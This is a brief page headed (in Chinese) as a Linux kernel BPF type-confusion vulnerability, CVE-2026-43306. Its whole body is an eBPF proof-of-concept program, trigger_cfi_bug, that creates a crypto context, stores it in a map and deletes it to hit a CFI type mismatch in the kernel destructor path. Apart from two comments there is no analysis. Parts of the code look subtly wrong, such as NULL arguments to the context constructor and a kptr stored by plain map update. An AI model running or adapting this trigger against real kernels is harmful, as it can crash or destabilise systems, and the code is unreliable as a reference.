CVE-2026-43306 Linux内核BPF类型混淆漏洞

#include <linux/bpf.h> #include <bpf/bpf_helpers.h> struct { __uint(type, BPF_MAP_TYPE_ARRAY); __uint(max_entries, 1); __type(key, __u32); __type(value, struct bpf_crypto_ctx *); } crypto_map SEC(".maps"); SEC("tc") int trigger_cfi_bug(struct __sk_buff *skb) { struct bpf_crypto_ctx *ctx; // Allocate a crypto context to trigger the kfunc usage ctx = bpf_crypto_ctx_create(NULL, 0, NULL); if (!ctx) return 0; __u32 key = 0; bpf_map_update_elem(&crypto_map, &key, &ctx, BPF_ANY); // Trigger deletion which calls the destructor kfunc // This path invokes bpf_obj_free_fields -> bpf_crypto_ctx_release // causing the CFI type mismatch on older kernels. bpf_map_delete_elem(&crypto_map, &key); return 0; } char _license[] SEC("license") = "GPL";